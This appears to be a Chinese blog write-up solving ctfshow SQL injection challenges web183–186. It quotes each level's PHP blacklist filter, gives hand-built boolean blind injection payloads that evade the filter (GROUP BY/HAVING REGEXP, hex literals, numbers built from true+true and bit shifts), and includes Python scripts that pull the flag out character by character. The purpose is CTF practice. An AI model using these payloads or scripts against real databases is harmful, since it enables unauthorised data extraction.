ctfshow web入门 sql注入 web 183-186

发布时间 2023-04-24 19:04:50作者: kazie

web183 - web186 涉及盲注,不管是时间盲注还是布尔盲注,若用手工,会非常耗时,通常使用脚本

重点:

​ 1、了解 python脚本 编写

​ 2、了解条件语句(where、having)区别

​ 3、了解sql语句位运算符

​ 4、了解mysql特性

​ 5、扩展了解简单爬虫

web183

//拼接sql语句查找指定ID用户
  $sql = "select count(pass) from ".$_POST['tableName'].";";


//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
  }

//返回用户表的记录总数
      $user_count = 0;

黑名单增加:or、and、=

知识点

  1、sql语句:逻辑运算符(and、or、not)

        位运算符(&、|、~、^)

  2、requests模块(爬虫模块)

payload

 1、确定注入方式

//先查询 ctfshow_user 表试试水
tableName=ctfshow_user

查询结果

img

//再查询一个不存在的表
tableName=111

查询结果

img

很明显,正确查询会有对应结果,错误查询输出0

   很符合盲注的特点,即:正确查询,返回对应数据;错误查询,返回失败或者什么都没有(什么都没有也是一种页面状态)

   此处使用布尔盲注(时间盲注也行,但太耗时间,选择布尔盲注)

 2、布尔盲注思路:利用布尔值,对 flag 进行挨个判断,flag 是由 ctfshow{} +十六进制(0 ~ f)+ - 组成

 3、注入

  (1)手工注入

​ 手工注入主要提供思路(手工验证更准确一点)

-- 之前字段为 password ,本题改为 pass
-- 先确定 flag 的特征没变
-- 此处返回的 user_count 值为 1 ,说明 flag 特征没变
tableName=`ctfshow_user`where`pass`like'ctfshow{%25'

-- 探测 flag 第一位
-- 按照 }0123456789-abcdef{ 的顺序探测(顺序是有讲究的,不讲究也可)
-- flag 固定开头:ctfshow{  
--     固定结尾:}
tableName=`ctfshow_user`where`pass`like'ctfshow{}%25'    --}错误,很明显怎么可能以}开头
tableName=`ctfshow_user`where`pass`like'ctfshow{0%25'    --0错误
tableName=`ctfshow_user`where`pass`like'ctfshow{1%25'    --1错误
--中间省略
tableName=`ctfshow_user`where`pass`like'ctfshow{8%25'    --8正确

-- 探测 flag 第二位
tableName=`ctfshow_user`where`pass`like'ctfshow{80%25'    --0错误
tableName=`ctfshow_user`where`pass`like'ctfshow{89%25'    --9正确

-- 手工注入非常耗时且麻烦,推荐写个脚本

  (2)python 脚本注入(可以使用 sqlmap,但不推荐,从 web201 开始,为 sqlmap 设置了专门的题)

    requests 库属于爬虫常用库,再会一点 re 库或者 BeautifulSoup4 库,可写简单爬虫

import requests

url = 'http://e150ad9b-3017-467b-bc7b-7bfda2642ed2.challenge.ctf.show/select-waf.php'
strlist = '{}0123456789-abcdef'
flag = ''

for j in range(50): #不知道 flag 长度,尽量长一点(实际有38位,从{算起,到}结束)
  #对 flag 按位匹配
    for i in strlist:
        data = {
            'tableName': "`ctfshow_user`where`pass`like'ctfshow{}%'".format(flag+i)
        }
        respond = requests.post(url, data=data)  # 获取页面代码
        respond = respond.text  # 解析成字符串类型
        if 'user_count = 1' in respond:
            print('--------------------正确',i)
            flag += i
            print('ctfshow{}'.format(flag))
            break
        else:print('==================='+i+'错误')
    if flag[-1] == '}':exit()   #判断 flag 是否获取完整

web184

//拼接sql语句查找指定ID用户
  $sql = "select count(*) from ".$_POST['tableName'].";";


//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }


//返回用户表的记录总数
      $user_count = 0;

黑名单增加:'、“、union、sleep、where、benchmark(基准测试)

黑名单移除:空格

  禁用联合注入、时间盲注和模糊查询

知识点

  1、where 与 having

    where 是对原始数据进行筛选

    having 是对结果集进行筛选

  2、sql语句中的正则表达式

分析:移除了空格,考虑 group by 和 order by 等本就含有空格的关键字

   移除了单双引号,也就移除了字符串,而 like 必须后接字符串,相当于移除了 like

   字符串类型,可以使用十六进制代替

   183 是利用 like 进行挨个匹配,也可以使用正则表达式进行挨个匹配

	2、**mysql支持十六进制**

payload

  (1)手工注入

-- ctfshow{ 的十六进制为 0x63746673686f777b
tableName=ctfshow_user group by pass having pass regexp(0x63746673686f777b)

-- 探测第一位
-- 按0123456789-abcdef}{ 顺序
-- ctfshow{0 的十六进制为 0x63746673686f777b30
tableName=ctfshow_user group by pass having pass regexp(0x63746673686f777b30)    --0错误
-- ctfshow{1 的十六进制为 0x63746673686f777b31
tableName=ctfshow_user group by pass having pass regexp(0x63746673686f777b31)    --1错误    
-- ctfshow{9 的十六进制为 0x63746673686f777b39
tableName=ctfshow_user group by pass having pass regexp(0x63746673686f777b39)    --9正确

-- 探测第二位

-- 后续步骤省略

 (2)python脚本

import requests

url = 'http://8227d26e-6942-4c3b-bd58-6ab02995a7e7.challenge.ctf.show/select-waf.php'
strlist = '{0123456789-abcdef}'
flagstr = ''
flag = ''


for j in range(50): #不知道 flag 长度,尽量长一点(实际有38位,从{算起,到}结束)
    for i in strlist:
        j = hex(ord(i))[2:]     #hex() 转为十六进制,ord() 转为Unicode编码
        data = {
            'tableName': "ctfshow_user group by pass having pass regexp(0x{})".format(flagstr+j)
        }

        respond = requests.post(url, data=data)  # 获取页面代码
        respond = respond.text  # 解析成字符串类型
        if 'user_count = 1' in respond:
            print('--------------------正确',i)
            flagstr += j
            flag += i
            print(flag)
            break
        else:print('==================='+i+'错误')
    if flag[-1] == '}':exit()   #判断 flag 是否获取完整

web185

//拼接sql语句查找指定ID用户
  $sql = "select count(*) from ".$_POST['tableName'].";";

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

//返回用户表的记录总数
      $user_count = 0;

黑名单增加:数字

知识点

1、ord() 与 char()

2、mysql 中 true 为 1,false 为 0

3、mysql 中的十进制、十六进制区别

分析
  1、没有数字,我们需要构造出数字

  (1)查看该语言是否存在可以被识别成数字的关键字(true为1,false为0)

  (2)利用位运算符拼凑出数字

  (3)利用 ASCII 码自增或自减

    这里我们使用第一种


  2、此处不允许使用 '、",变相禁用字符串,但十六进制常量被视为字符串,且不需要单双引号

payload

(1)手工注入

​ ① 步骤分析,以ctfshow为例

-- ctfshow{ 的十六进制为 0x63746673686f777b
-- c 的 ASCII码,十六进制值为:0x63,十进制值为:99
-- 本题黑名单增加了数字,因此需要构造数字



1)构造数字
-- false 等于 0,true 等于 1,且 true+true = 2(这点非常重要)

-- 构造十六进制
-- 0x63 我们可以写成 false,‘x’,true+true+true+true+true+true,true+true+true
-- 用 concat() 进行连接 concat(false,‘x’,(true+true+true+true+true+true),(true+true+true))
-- 这样在本地环境中可得 0x63
-- 但很可惜,x 使用了单引号(被过滤),尝试用数字表示 x



2)构造字母
-- 这里核心为 char(),支持十进制(数字、字符串)和十六进制(仅数字)
-- x 的 ASCII码,十六进制值为:0x78,十进制值为:120
-- 获取 x 的三种方法:char(0x78)、char(120)、char('120')
-- 在上面,构造十六进制出现问题,因此此处构造十进制

-- 构造十进制
-- x 的十进制为 120,120个 true 相加即可,实现起来非常简单(可以使用运算符,但注意是否存在运算符被屏蔽的情况)
-- 这里选择拆分120
-- 120 转为字符串,拆分成1、2、0,可用 true、true+true、false
-- 如下可获取 x
-- char(concat(true,(true+true),false))


3)构造指定字母的ASCII码十六进制的值
-- ctfshow{ 的十六进制为 0x63746673686f777b
-- c 的 ASCII码,十六进制值为:0x63,十进制值为:99
-- x 的 ASCII码,十六进制值为:0x78,十进制值为:120
-- 构造 ctf 的十六进制(0x637466)
-- concat(false,char(concat(true,(true+true),false)),(true+true+true+true+true+true),(true+true+true),(true+true+true+true+true+true+true),(true+true+true+true),(true+true+true+true+true+true),(true+true+true+true+true+true))

-- 然后发现在本地环境根本跑不出来
-- 0x637466 为字符串,mysql仅支持十六进制的数字,不支持十六进制的字符串



4)构造指定字母的ASCII码十进制的值
-- mysql支持十进制的数字和字符串,此条在上面有说明
-- 这里以 ctf 为例
-- c(十进制99):char(concat((power((true+true),(true+true+true))+true),(power((true+true),(true+true+true))+true)))
-- t(十进制116):char(concat(true,true,(true+true+true+true+true+true)))
-- f(十进制102):char(concat(true,false,(true+true)))
-- ctf:concat(char(concat((power((true+true),(true+true+true))+true),(power((true+true),(true+true+true))+true))),char(concat(true,true,(true+true+true+true+true+true))),char(concat(true,false,(true+true))))

​ ②验证

//原payload为:tableName=ctfshow_user group by pass having pass regexp(ctf)
tableName=ctfshow_user group by pass having pass regexp(concat(char(concat((power((true+true),(true+true+true))+true),(power((true+true),(true+true+true))+true))),char(concat(true,true,(true+true+true+true+true+true))),char(concat(true,false,(true+true)))))

验证成功,可自行根据上述思路用脚本进行注入,这样可增加理解

当然,也可以使用手工注入,本人也十分推荐

(2)python脚本

​ 个人认为 185 的预期解是用位运算符,因为 186 屏蔽了位运算符,这种方法应该是非预期解吧

​ ①这里将所有字符转为 ASCII码,再对 ASCII码 进行拆解,如 ASCII码 为 123,则拆解为1、2、3,用 concat() 连接

import requests

url = 'http://765f915a-f841-4b7f-ad1b-ad93aaebf6db.challenge.ctf.show/select-waf.php'
strlist = '{0123456789-abcdef}'
flagstr = ''
flag = ''
strdict = {'0':'false,','1':'true,','2':'(true+true),',
           '3':'(true+true+true),','4':'(true+true+true+true),',
           '5':'(true+true+true+true+true),','6':'(true+true+true+true+true+true),',
           '7':'(power((true+true),(true+true+true))-true),',
           '8':'(power((true+true),(true+true+true))),',
           '9':'(power((true+true),(true+true+true))+true),'
           }

for j in range(666): #不知道 flag 长度,尽量长一点(实际有38位,从{算起,到}结束)
    for i in strlist:
        m = ''
        #将每个字符转成 Unicode编码对应的十进制(Unicode编码为ASCII码扩展)
        #对其十进制进行拆分转换,这样可以降低一点时间复杂度
        for x in str(ord(i)):
            m += strdict[x]
        m = 'char(concat('+m[:-1]+')),'

        data = {
            'tableName': "ctfshow_user group by pass having pass regexp(concat({}))".format(flagstr+m[:-1])
        }

        respond = requests.post(url, data=data)  # 获取页面代码
        respond = respond.text  # 解析成字符串类型
        if 'user_count = 1' in respond:
            print('--------------------正确',i)
            flagstr += m
            flag += i
            print('ctfshow'+flag)
            break
        else:print('==================='+i+'错误')
    if flag[-1] == '}':exit()   #判断 flag 是否获取完整

​ ②位运算

​ 代码与上面一致,只是数字用 << 表示,确实要少一两个true,其余思路没想出来


strdict = {'0':'false,','1':'true,','2':'(true<<true),',
           '3':'((true<<true)+true),','4':'(true<<true+true),',
           '5':'((true<<true+true)+true),','6':'((true<<true+true)+true+true),',
           '7':'((true+true<<true+true)-true),',
           '8':'(true+true<<true+true),',
           '9':'((true+true<<true+true)+true),'
           }

web186

//拼接sql语句查找指定ID用户
  $sql = "select count(*) from ".$_POST['tableName'].";";


//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }


//返回用户表的记录总数
      $user_count = 0;

黑名单增加:%、<、>、^

很明显,185的预期解是用位运算符(<<、>>、^、&),& 必须使用 %26 代替(脚本不用)

payload

同 web185 第一个脚本